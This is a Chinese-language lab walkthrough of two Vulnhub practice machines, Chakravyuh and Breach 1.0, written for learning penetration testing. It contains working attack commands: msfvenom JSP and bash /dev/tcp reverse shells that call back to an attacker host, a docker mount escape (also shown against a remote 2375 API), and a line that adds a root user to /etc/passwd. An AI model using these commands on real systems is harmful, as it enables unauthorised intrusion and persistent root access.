【創宇小課堂】滲透測試-Vulhub靶機實操記錄

2022-01-08 安全宇宙
作者:sqsmile


Vulnhub是一個提供各種漏洞環境的靶場平臺,供安全愛好者學習滲透使用,大部分環境是做好的虛擬機鏡像文件,鏡像預先設計了多種漏洞,需要使用VMware或者VirtualBox運行。每個鏡像會有破解的目標,大多是Boot2root,從啟動虛機到獲取操作

系統的root權限和查看flag。網址:https://www.vulnhub.com



靶機連結:https://www.vulnhub.com/entry/ha-chakravyuh,388/

下載連結:https://download.vulnhub.com/ha/chakravyuh.zip

靶機說明:

Close your eyes and feel the heat of being in the middle of the Chakravyuh. The Epic Battle formation that is said to uncrackable. Can you crack the Uncrackable? Does it have it in you? Crack this epic Challenge and Claim the Title of Arjuna of 21st Century.

ENUMERATION IS THE KEY!!!!!

目標:Boot to root:獲得root權限,查看flag。

運行環境:

靶機:橋接模式,IP:192.168.0.107

攻擊機:kali linux 2020.3,IP:192.168.0.104


使用netdiscover獲取靶機IP

埠掃描

root@kali:~# nmap -p- -A 192.168.0.100

Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-05 20:25 CST

Nmap scan report for 192.168.0.100

Host is up (0.00075s latency).

Not shown: 65532 closed ports

PORT      STATE SERVICE VERSION

22/tcp    open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)

| ssh-hostkey:

|   2048 c6:54:93:e8:1c:aa:f7:5f:d0:7d:6e:2e:df:ec:88:69 (RSA)

|   256 d4:b4:2e:96:4e:f7:f6:b7:83:a8:ef:06:6c:80:1d:25 (ECDSA)

|_  256 66:d0:5b:93:56:c5:7a:2e:60:90:c4:4e:4f:18:5a:bd (ED25519)

80/tcp    open  http    Apache httpd 2.4.29 ((Ubuntu))

|_http-server-header: Apache/2.4.29 (Ubuntu)

|_http-title: HA: Chakravyuh

65530/tcp open  ftp     vsftpd 3.0.3

| ftp-anon: Anonymous FTP login allowed (FTP code 230)

|_drwxr-xr-x    2 ftp      ftp          4096 Oct 27  2019 pub

| ftp-syst:

|   STAT:

| FTP server status:

|      Connected to ::ffff:192.168.0.104

|      Logged in as ftp

|      TYPE: ASCII

|      No session bandwidth limit

|      Session timeout in seconds is 300

|      Control connection is plain text

|      Data connections will be plain text

|      At session startup, client count was 2

|      vsFTPd 3.0.3 - secure, fast, stable

|_End of status

MAC Address: 00:0C:29:94:71:AD (VMware)

Device type: general purpose

Running: Linux 3.X|4.X

OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4

OS details: Linux 3.2 - 4.9

Network Distance: 1 hop

Service Info: OSs: Linux, Unix; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE

HOP RTT     ADDRESS

1   0.75 ms 192.168.0.100

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 28.85 seconds

靶機開啟了ssh服務、ftp服務、http服務,ftp存在匿名訪問。


訪問ftp服務後發現文件arjun.7z

嘗試解壓,但是需要密碼。

使用john嘗試破解密碼:

解壓rockyou.gz

此處使用7z2john.py來獲取壓縮包的hash值,

文件地址:

https://github.com/truongkma/ctf-tools/blob/master/John/run/7z2john.py

解壓後獲取到secret.txt,查看內容以後覺得像base編碼。

Base64解密:

先留存一下,看看http服務有什麼有用的東西。直接訪問

嘗試目錄掃描:

root@kali:~/pentest/vunlhub_files/Chakravyuh# dirb http://192.168.0.100/ -w /usr/share/wordlists/dirb/common.txt > dirscan_result.txt

cat dirscan_result.txt | grep "+" > dirscan_result1.txt

root@kali:~/pentest/vulnhub_files/Chakravyuh# cat dirscan_result1.txt

+ http://192.168.0.100/index.html (CODE:200|SIZE:983)

==> DIRECTORY: http://192.168.0.100/phpmyadmin/

+ http://192.168.0.100/server-status (CODE:403|SIZE:278)

+ http://192.168.0.100/phpmyadmin/favicon.ico (CODE:200|SIZE:22486)

+ http://192.168.0.100/phpmyadmin/index.php (CODE:200|SIZE:10525)

+ http://192.168.0.100/phpmyadmin/libraries (CODE:403|SIZE:278)

+ http://192.168.0.100/phpmyadmin/phpinfo.php (CODE:200|SIZE:10527)

+ http://192.168.0.100/phpmyadmin/setup (CODE:401|SIZE:460)

+ http://192.168.0.100/phpmyadmin/templates (CODE:403|SIZE:278)

+ http://192.168.0.100/javascript/jquery/jquery (CODE:200|SIZE:268026)

==> DIRECTORY: http://192.168.0.100/phpmyadmin/js/transformations/

==> DIRECTORY: http://192.168.0.100/phpmyadmin/locale/lt/

==> DIRECTORY: http://192.168.0.100/phpmyadmin/themes/original/

+ http://192.168.0.100/phpmyadmin/doc/html/index.html (CODE:200|SIZE:13316)

有效目錄是phpmyadmin,

訪問:http://192.168.0.100/phpmyadmin/index.php

嘗試簡單登錄發現root用戶沒法登錄,如下圖所示。

訪問:http://192.168.0.100/phpmyadmin/doc/html/index.html

獲取版本號為:4.6.6,高版本漏洞都集中在後臺,此處無法登錄。

前面ftp匿名訪問獲取到的文件txt內容解密後為:gila:admin@gmail.com:princesa

gila可能是應用的名稱,對gila再做目錄掃描。

dirb http://192.168.0.100/gila/ -w /usr/share/wordlists/dirb/common.txt

發現後臺連結:http://192.168.0.100/gila/admin

嘗試使用前面發現的ftp中的類似帳號進行登錄:gila:admin@gmail.com:princesa

成功登錄,gila cms的版本為1.10.9

Exp db尋找漏洞:

使用本地文件包含,驗證漏洞:

Nc監聽埠1234:

使用/usr/share/webshells/php/php-reverse-shell.php,將內容粘貼進新的index.php,然後修改ip和port兩個參數並且加上include的值,保證網頁能正常運行

獲得一個shell:

使用python命令將其變為一個完整的shell:

python -c 'import pty; pty.spawn("/bin/bash")'



上面轉換完shell以後,發現當前用戶在docker組裡面。嘗試使用docker提權:

運行現有的鏡像,並且將物理機的root目錄掛在到容器的/mnt目錄下

docker images

docker run -it --rm -v /:/mnt 965ea09ff2eb /bin/sh

獲取最終的flag


2.6. 永久提權1——在/etc/passwd中寫入root權限用戶

# 添加root用戶,獲得長久的權限

上面將物理機的root目錄掛載到虛擬機的/mnt目錄下,此處可以向/mnt/etc/passwd中寫入一個用戶記錄。

生成密碼:

openssl passwd -1 -salt smile 123456

$1$smile$DNeWXby8cmrhHOsfR5Fhi1

使用sed命令直接插入:

sed -i '$a smile:$1$smile$DNeWXby8cmrhHOsfR5Fhi1:0:0:root:/root:/bin/sh' /mnt/etc/passwd

但是沒法遠程登錄:

退回到php反彈的shell,直接切換用戶:

上面未登錄成功應該是smile用戶沒有權限遠程登錄。

# 實戰逃逸

docker -H tcp://192.168.1.1:2375 run -it --rm -v /:/mnt {image Id} /bin/sh

ls /mnt/

查看是否存在.ssh目錄,若存在則直接輸出自己生成的公鑰到authorized_keys

註:寫入公鑰內容時一定要使用追加符號>>,直接使用>會把原本的內容覆蓋掉,這就很難受了。

此處嘗試登錄,但是失敗了。

寫入失敗的原因是複製內容時,終端未全屏。這樣複製的內容寫入時會分段,因此導致解析不正常。因此複製時需要全屏複製,寫入時則正常大小終端即可。

查看authorized_keys內容,發現成功寫入了:

嘗試寫入新的具有root權限的用戶

嘗試遠程登錄:


本地複製公鑰id_rsa.pub到家目錄下,並且使用python開啟http服務

查看是否/root目錄下是否有.ssh目錄

創建一個.ssh目錄,然後下載kali本地的id_isa.pub,然後加入authorized_keys

嘗試登錄並查看權限:



# 區域網存活探測工具-netdiscover

netdiscover

-i device # 指定網卡

-r range #指定範圍,example,192.168.0.0/24,支持/8, /16和/24

-p # 被動掃描,僅嗅探

例如:

更多參數:

Usage: netdiscover [-i device] [-r range | -l file | -p] [-m file] [-F filter] [-s time] [-c count] [-n node] [-dfPLNS]

-i device: your network device

-r range: scan a given range instead of auto scan. 192.168.6.0/24,/16,/8

-l file: scan the list of ranges contained into the given file

-p passive mode: do not send anything, only sniff

-m file: scan a list of known MACs and host names

-F filter: customize pcap filter expression (default: "arp")

-s time: time to sleep between each ARP request (milliseconds)

-c count: number of times to send each ARP request (for nets with packet loss)

-n node: last source IP octet used for scanning (from 2 to 253)

-d ignore home config files for autoscan and fast mode

-f enable fastmode scan, saves a lot of time, recommended for auto

-P print results in a format suitable for parsing by another program and stop after active scan

-L similar to -P but continue listening after the active scan is completed

-N Do not print header. Only valid when -P or -L is enabled.

-S enable sleep time suppression between each request (hardcore mode)

# 壓縮包解壓-7z

7z x aaa.7z

例如:

# 壓縮包密碼破解

獲取.7z文件hash值腳本:

https://github.com/truongkma/ctf-tools/blob/master/John/run/7z2john.py

# 命令行解密

# docker逃逸提權

本地copy到家目錄下,並且使用python開啟http服務

查看是否/root目錄下是否有.ssh目錄

創建一個.ssh目錄,然後下載kali本地的id_isa.pub,然後加入authorized_keys

嘗試登錄並查看權限:




靶機連結:https://www.vulnhub.com/entry/breach-1,152/

下載地址:https://download.vulnhub.com/breach/Breach-1.0.zip

靶機說明:

First in a multi-part series, Breach 1.0 is meant to be beginner to intermediate boot2root/CTF challenge. Solving will take a combination of solid information gathering and persistence. Leave no stone unturned.

The VM is configured with a static IP address (192.168.110.140) so you will need to configure your host-only adaptor to this subnet.

Many thanks to knightmare and rastamouse for testing and providing feedback.

Shout-out to g0tmi1k for maintaining #vulnhub and hosting my first challenge.

If you run into any issues, you can find me on Twitter: https://twitter.com/mrb3n813 or on IRC in #vulnhub.

Looking forward to the write-ups, especially any unintended paths to local/root.

Note, you may need to use 7zip to extract the ZIP.

目標:Boot to root:獲得root權限,查看flag。

運行環境:

靶機:網絡連接方式設置為主機模式(host-only),靜態IP是192.168.110.140。所以vmware的僅主機模式的IP端要設置為:192.168.110.0

Kali linux添加一塊兒網卡,添加方式參考:

https://jingyan.baidu.com/article/f79b7cb333361a9144023e0f.html

攻擊機:kali linux 2020.3,IP:192.168.110.128


# 埠信息收集

發現埠幾乎全開放了,顯然是有問題,虛擬機對埠掃描做了一些防護措施。

使用dirsearch進行目錄掃描:

獲取到/.gitignore和/images

訪問第一個目錄獲得了4個目錄:

經過核驗全部是404。嘗試訪問images目錄:

5個jpg,1個gif文件,全部下載到本地

wget -c -r -np -k -L -p http://192.168.110.140/images/

Cat查看未發現更多有效信息。

直接訪問80埠,進入web首頁:http://192.168.110.140


# 查看首頁源碼,解碼得到密碼

查看源碼,獲取到一串奇怪的字符串。

兩次base64解碼以後獲取到如下字符串:pgibbons:damnitfeel$goodtobeagang$ta

# 登錄cms,查看郵件,下載包含SSL證書的密鑰庫keystore文件

點擊首頁圖片:

點擊Employee portal,進入登錄頁面:

使用前面獲取到的密碼嘗試登錄:

獲得了三封郵件,第一封郵件:

Peter, yeahhh, I'm going to have to go ahead and ask you to have your team only post any sensitive artifacts to the admin portal. My password is extremely secure. If you could go ahead and tell them all that'd be great. -Bill

皮特,我將要求您讓您的團隊只將包含敏感信息的文件發送到管理門戶。我的密碼非常安全,如果你能繼續告訴他們一起事情,那就太好了。-比爾

第二封郵件:

Hey Peter,

I got a really good deal on an IDS/IPS system from a vendor I met at that happy hour at Chotchkie's last week!

-Michael

大意是邁克給皮特寫信告訴他,自己上周買了一套IDS/IPS設備並將將其安裝到伺服器上面。

這個跟前面掃描出很多埠開放吻合了,伺服器安裝了防護設備

第三封郵件:

Peter, I am not sure what this is. I saved the file here: 192.168.110.140/.keystore Bob ---- From: registrar@penetrode.com Sent: 02 June 2016 16:16 To: bob@initech.com; admin@breach.local Subject: Thank you for your purchase of Super Secret Cert Pro! Please find attached your new SSL certificate. Do not share this with anyone!

大意是,鮑勃給管理員發送郵件,感謝他購買的超級秘鑰證書,附件中有新的證書,請不要將它分享給任何人。

新的證書存放在192.168.110.140/.keystore

下載完證書,目前不知道哪裡可以用得上,就先放下,繼續瀏覽伺服器。

#

在郵件後臺點擊profile功能,發現存在列目錄漏洞,瀏覽過後未發現更多有效信息。

點擊」view account」——」Content」

訪問後獲得了一個pcap包的下載地址:

http://192.168.110.140/impresscms/_SSL_test_phase1.pcap

包含下載地址的郵件內容為:

標題:SSL implementation test capture

正文:

Published by Peter Gibbons on 2016/6/4 21:37:05. (0 reads)

Team - I have uploaded a pcap file of our red team's re-production of the attack. I am not sure what trickery they were using but I cannot read the file. I tried every nmap switch from my C|EH studies and just cannot figure it out. http://192.168.110.140/impresscms/_SSL_test_phase1.pcap They told me the alias, storepassword and keypassword are all set to 'tomcat'. Is that useful?? Does anyone know what this is? I guess we are securely encrypted now? -Peter p.s. I'm going fishing for the next 2 days and will not have access to email or phone.

大意是,我已經上傳了紅隊復現攻擊時的pcap包,我不確定他們使用了什麼憑證,我沒有辦法讀取文件。我嘗試自己在C|EH中所有的學習內容,還是沒有辦法解決。{pcap文件下載地址},他們告訴我alias、storepasswd和keypassword的密碼都設置為tomcat。這是否有用呢?誰能告訴我這是什麼?我猜我們的是安全加密的?——皮特

註:我將要在接下來的兩天去釣魚,不會使用手機和郵件。

導入pcap文件,發現沒有http協議的數據包。如下所示:

可能pcap是加密的,解密的秘鑰應該在.keystore中。查看.keystore所有秘鑰:

# 導出秘鑰庫中的PKCS12證書,證書名設置為tomcatkeystore.p12

keytool -importkeystore -srckeystore .keystore -destkeystore tomcatkeystore.p12 -deststoretype pkcs12 -srcalias tomcat

此處可選擇使用myssl文件直接導出,密碼全部輸入tomcat即可。

# 將.p12證書導入Wireshark

在Wireshark中打開_SSL_test_phase1.pcap流量包文件,選擇菜單:編輯--首選項--Protocols--TLS,點擊右邊的Edit:(新版的wireshark將SSL協議歸入TLS協議了):

註:此處設置port為8443是因為在前面的數據包發現通訊的埠為8443,做攻擊肯定使用有http協議,所以decrypt的設置如下所示:

然後一路OK即可。

Tomcat登錄採用basic認證,解碼得到帳號密碼:

tomcat:Tt\5D8F(#!*u=G)4m7zB

登錄日誌:https://192.168.110.140:8443/_M@nag3Me/html

直接請求地址:

讓流量通過burpsuite


使用冰蠍的jsp shell打包一個war包:

登錄tomcat控制臺部署war包,獲取shell:

查看shell是否生效:

嘗試連結:

過一陣子,shell會消失。

目標伺服器應該存在殺軟或者定時任務。

嘗試替換為msf的webshell:

Msfvenom生成jspshell:

msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.110.129 LPORT=1234 -f raw > test.jsp

打包成war包:

Msf監聽:

msf6 > use exploit/multi/handler

[*] Using configured payload generic/shell_reverse_tcp

msf6 exploit(multi/handler) > set payload java/jsp_shell_reverse_tcp

payload => java/jsp_shell_reverse_tcp

msf6 exploit(multi/handler) > set lhost 192.168.110.128

lhost => 192.168.110.128

msf6 exploit(multi/handler) > set lport 1234

lport => 1234

msf6 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 192.168.110.128:1234

[*] Command shell session 1 opened (192.168.110.128:1234 -> 192.168.110.140:36258) at 2021-09-15 16:55:26 +0800

[*] Command shell session 2 opened (192.168.110.128:1234 -> 192.168.110.140:36260) at 2021-09-15 16:55:26 +0800




3.5.1. 嘗試常規提權

本地搭建起http服務,

靶機下載linux提權輔助腳本:linux-exploit-suggester.sh

增加運行權限然後運行:

利用bash反彈shell,讓輸出正常:

bash -c 'exec bash -i &>/dev/tcp/192.168.110.128/1337 <&1'

此處直接使用bash -i會沒辦法彈shell過來。

#髒牛提權

傳輸髒牛exp到服務端,然後嘗試編譯並提權:

靶機死機,寄了,試試別的方式。

查看系統中存在的用戶:

cat /etc/passwd | awk -F 『:』 『print $1』

blumbergh和miltom兩個比較可疑的用戶。查看home目錄:


3.5.2. 找到mysql的root用戶密碼

目前暫時沒有別的思路,查看一下默認web目錄,有一個html和5446:

/var/www/5446/下有兩個hex編碼後的文件:

0d93f85c5061c44cdffeb8381b2772fd.php

fe4db1f7bc038d60776dcb66ab3404d5.php

兩個文件的內容都一樣,查看獲取到資料庫的帳號和密碼以及鹽值:Fnf3DBtJlmcV9uotv1ssFMmOFaSwnfNyt62TiBTzT0g9UIIn47FAh2tSV88VqgvN,應該是mysql,如下所示:

嘗試mysql連結:

剛開始沒有任何回顯,按照順序查詢,退出時可以看到查詢的結果:

mysql中所有的庫

impresscms中所有的表:

i3062034b_autosearch_cat

i3062034b_autosearch_list

i3062034b_avatar

i3062034b_avatar_user_link

i3062034b_banner

i3062034b_bannerclient

i3062034b_bannerfinish

i3062034b_banners_banner

i3062034b_banners_client

i3062034b_banners_position

i3062034b_banners_positionlink

i3062034b_banners_visiblein

i3062034b_block_module_link

i3062034b_block_positions

i3062034b_config

i3062034b_configcategory

i3062034b_configoption

i3062034b_content_content

i3062034b_group_permission

i3062034b_groups

i3062034b_groups_users_link

i3062034b_icms_data_file

i3062034b_icms_data_urllink

i3062034b_icmspage

i3062034b_image

i3062034b_imagebody

i3062034b_imagecategory

i3062034b_imgset

i3062034b_imgset_tplset_link

i3062034b_imgsetimg

i3062034b_invites

i3062034b_modules

i3062034b_newblocks

i3062034b_online

i3062034b_priv_msgs

i3062034b_profile_audio

i3062034b_profile_category

i3062034b_profile_configs

i3062034b_profile_field

i3062034b_profile_friendship

i3062034b_profile_pictures

i3062034b_profile_profile

i3062034b_profile_regstep

i3062034b_profile_tribepost

i3062034b_profile_tribes

i3062034b_profile_tribetopic

i3062034b_profile_tribeuser

i3062034b_profile_videos

i3062034b_profile_visibility

i3062034b_profile_visitors

i3062034b_protector_access

i3062034b_protector_log

i3062034b_ranks

i3062034b_session

i3062034b_smiles

i3062034b_system_adsense

i3062034b_system_autotasks

i3062034b_system_customtag

i3062034b_system_mimetype

i3062034b_system_rating

i3062034b_tplfile

i3062034b_tplset

i3062034b_tplsource

i3062034b_users

i3062034b_xoopscomments

i3062034b_xoopsnotifications

ia44db101_autosearch_cat

ia44db101_autosearch_list

ia44db101_avatar

ia44db101_avatar_user_link

ia44db101_banner

ia44db101_bannerclient

ia44db101_bannerfinish

ia44db101_banners_banner

ia44db101_banners_client

ia44db101_banners_position

ia44db101_banners_positionlink

ia44db101_banners_visiblein

ia44db101_block_module_link

ia44db101_block_positions

ia44db101_config

ia44db101_configcategory

ia44db101_configoption

ia44db101_content_content

ia44db101_group_permission

ia44db101_groups

ia44db101_groups_users_link

ia44db101_icms_data_file

ia44db101_icms_data_urllink

ia44db101_icmspage

ia44db101_image

ia44db101_imagebody

ia44db101_imagecategory

ia44db101_imgset

ia44db101_imgset_tplset_link

ia44db101_imgsetimg

ia44db101_invites

ia44db101_modules

ia44db101_newblocks

ia44db101_online

ia44db101_priv_msgs

ia44db101_profile_audio

ia44db101_profile_category

ia44db101_profile_configs

ia44db101_profile_field

ia44db101_profile_friendship

ia44db101_profile_pictures

ia44db101_profile_profile

ia44db101_profile_regstep

ia44db101_profile_tribepost

ia44db101_profile_tribes

ia44db101_profile_tribetopic

ia44db101_profile_tribeuser

ia44db101_profile_videos

ia44db101_profile_visibility

ia44db101_profile_visitors

ia44db101_protector_access

ia44db101_protector_log

ia44db101_ranks

ia44db101_session

ia44db101_smiles

ia44db101_system_adsense

ia44db101_system_autotasks

ia44db101_system_customtag

ia44db101_system_mimetype

ia44db101_system_rating

ia44db101_tplfile

ia44db101_tplset

ia44db101_tplsource

ia44db101_users

ia44db101_xoopscomments

ia44db101_xoopsnotifications

iaed7929d_autosearch_cat

iaed7929d_autosearch_list

iaed7929d_avatar

iaed7929d_avatar_user_link

iaed7929d_banner

iaed7929d_bannerclient

iaed7929d_bannerfinish

iaed7929d_banners_banner

iaed7929d_banners_client

iaed7929d_banners_position

iaed7929d_banners_positionlink

iaed7929d_banners_visiblein

iaed7929d_block_module_link

iaed7929d_block_positions

iaed7929d_config

iaed7929d_configcategory

iaed7929d_configoption

iaed7929d_content_content

iaed7929d_group_permission

iaed7929d_groups

iaed7929d_groups_users_link

iaed7929d_icms_data_file

iaed7929d_icms_data_urllink

iaed7929d_icmspage

iaed7929d_image

iaed7929d_imagebody

iaed7929d_imagecategory

iaed7929d_imgset

iaed7929d_imgset_tplset_link

iaed7929d_imgsetimg

iaed7929d_invites

iaed7929d_modules

iaed7929d_newblocks

iaed7929d_online

iaed7929d_priv_msgs

iaed7929d_profile_audio

iaed7929d_profile_category

iaed7929d_profile_configs

iaed7929d_profile_field

iaed7929d_profile_friendship

iaed7929d_profile_pictures

ia

查詢表ia44db101_users的所有欄位名和uname、pass的值:

看著像之前發現的impresscms中的用戶。而且在/etc/passwd下未發現對應的用戶名。

以同樣的方式查詢資料庫mysql中的信息,獲取到milton的密碼有效密碼:

milton  6450d89bd3aff1d893b85d3ad65d2ec2

去somd5(https://www.somd5.com/)解密,得到密碼:thelaststraw


3.5.3. 提權到milton和blumbergh

# 無法執行su命令,使用python獲取一個終端

python -c 'import pty;pty.spawn("/bin/bash")'

# 提權到milton

su - milton 密碼:thelaststraw

使用sudoer提權漏洞——CVE-2021-3156

看來這臺機器很難通過漏洞提權,前面的髒牛和sudoer漏洞都失效了。

查看當前用戶家目錄下的文件,未發現更多有用信息。

嘗試使用milton的前密碼和密碼切換至blumbergh和root:


相關焦點

  • 記一次Windows靶機滲透測試
    前言基於國內Windowws靶機確實不多,且自己對Windows靶機滲透的流程和方法實在掌握的很少,因此在HTB上選擇一個難度係數適中的
  • 滲透測試實戰-Blacklight靶機+DeRPnStiNK靶機入侵
    挺久沒更新靶機滲透文章,近期抽點時間繼續更新文章,為什麼這篇要2個靶機寫在一起哪?
  • 滲透測試實戰——DC-5+DC-6靶機入侵
    收錄於話題 #滲透測試專題可以看到靶機開放了3個埠,分別是 80、111、50614我們還是先看看 80埠
  • 記typhoon靶機滲透
    b)nmap 192.168.68.0/24(與攻擊機相同的網段)d) 在伺服器上搭建簡單的http服務,在被控靶機上使用wget獲取文件崗位:Web安全 安全研究員部門:戰略支援部薪資:13-30K工作年限:1年+工作地點:杭州(總部)、廣州、成都、上海、北京工作環境:一座大廈,健身場所,醫師,帥哥,美女,高級食堂…【崗位職責】1.定期面向部門、全公司技術分享;2.前沿攻防技術研究、跟蹤國內外安全領域的安全動態、漏洞披露並落地沉澱;3.負責完成部門滲透測試
  • 滲透測試常規操作記錄(中)
    collection/FoxDump收集Firefox瀏覽器保存的密碼和瀏覽歷史記錄collection/USBKeylogger*利用ETW作為鍵盤記錄collection/WebcamRecorder從攝像頭捕獲視頻collection/browser_data搜索瀏覽器歷史記錄或書籤collection/clipboard_monitor按指定的時間間隔監視剪貼板collection/file_finder
  • vulnhub靶機滲透-Connectthedots
    vulnhub靶機滲透-Connectthedots這個靶機比較腦洞,但是最後的提權過程挺有意思的。目標:/home/user.txt and /root/root.txt環境準備由於VMware會出現種種問題,於是改成了Virtual Box,而且Vulhub上的大部分靶機都是使用Virtual Box製作的附上一些相關的配置截圖:kali 2019.04第一塊網卡沒做修改添加了第二塊網卡vulnhub
  • DVWA滲透測試(一)
    今天來聊聊一款web靶機的滲透測試,雖然這款靶機年代比較久遠,漏洞也非常古老,但應該是入門滲透測試的經典靶機(自己也是滲透測試初學者,深刻的也寫不了
  • DC-3靶機通關記錄
    一、靶機搭建官網連結:https://vulnhub.com/靶機下載地址:http://www.five86.com
  • 滲透測試靶機fowsniff通關攻略
    介紹大家好,今天我們的靶機是fowsniff,這是一個boot2root的挑戰,目的是獲取root權限。靶機下載地址在這裡。廢話不多說,直接進入實際操作。目錄· 埠掃描和IP發現· 測試80埠· 在pastebin上找到哈希值
  • 簡單的DC-6靶機滲透實戰
    >|_http-title: Did not follow redirect to http://wordy/|_https-redirect: ERROR: Script execution failed (use -d to debug)MAC Address: 00:0C:29:9C:80:16 (VMware)Device type: general purposeR
  • DC-1靶機通關記錄
    一、靶機搭建官網連結:https://download.vulnhub.com/dc/靶機下載地址:http://www.five86
  • 內網滲透靶機-VulnStack 1
    前言:靶機是紅日團隊開源的一個靶機,靠著這個環境學習到了很多啊哈哈哈!現在自己也是會搭建一些環境了!
  • 框架安全之Shiro滲透復現
    ,記錄了實際中常見的Shiro框架漏洞並如何利用,對漏洞底層的原理簡單分析,主要分為五個部分:Shiro簡單介紹、相關環境搭建、漏洞復現、工具介紹和自建內網環境實戰。本篇文章由淺入深地復現了兩個經典漏洞及介紹五個Shiro滲透工具,相關參考文章也在文中有列出。此外,文中也可能會出現部分錯誤,望讀者指出,謝謝。接著,開始我們的Shiro滲透之路學習!Apache Shiro是一個強大且易用的Java安全框架,用於身份驗證、授權、密碼和會話管理,具有以下特點:易於使用——易用性是項目的最終目標。應用程式安全非常令人困惑和沮喪,被認為是「不可避免的災難」。
  • Vulnhub靶機 - SOCIAL NETWORK實踐
    2.2 內網發現查看下當前ip,發現並不是192.168.0.113,而是172.17.0.3,說明這是一臺內網的docker主機,自然而然的我們會想到將內網主機過濾下
  • y0usef靶機攻破演示
    這是一個2020年10月發布的,難度屬於容易,我認為容易的靶機更符合真實滲透場景表現,因為最常見的漏洞更能讓滲透工作取得更多的成果!需要取得root權限,建議用vmbox虛擬主機運行。根據以上採集到的信息,可以判斷出在這個URL地址實實在在存在在目標靶機之中,由於權限限制無法訪問,這是在真實的滲透工作中很常見,因為web管理員都會在一些關鍵的文件中設置相應的安全權限,來保證網站的安全。
  • 【創宇小課堂】滲透測試-XSS漏洞
  • 乾貨|滲透測試學習基礎教程大合集
    如果文章對您有幫助,歡迎點讚、評論、私聊均可,一起加油喔~小編已經下載好,上傳至網盤,文末查看獲取方式哦教程目錄如下:一.入門筆記之看雪Web安全學習及異或解密示例二.Chrome瀏覽器保留密碼功能滲透解析及登錄加密入門筆記三.Burp Suite工具安裝配置、Proxy
  • Vulhub系列:Os-hackNos
    0x01 環境搭建靶機連結: https://www.vulnhub.com/entry/hacknos-os-hacknos
  • 框架安全之Fastjson滲透
    經測試,使用RMI方式無法執行遠程命令0x04 上線Cobalt Strike這部分雖然和上面的類似,但記錄詳細些,以後用得到需要準備的東西:0x02 環境搭建依舊使用vulhub靶場cd vulhub/fastjson/1.2.47-rcesudo docker-compose up -dsudo docker ps
  • 滲透測試常規操作記錄(下)
    靶機:>ew -s rssocks -d 外網IP -e 1008 sockscap64連接攻擊機外網IP+埠1008二級環境(A有外網,B內網無外網):靶機B:>ew –s ssocksd –l 888靶機A:>ew –s lcx_tran –l 1080 –f 靶機B –g 888Sockscap64連接靶機外網IP+埠 1080二級環境(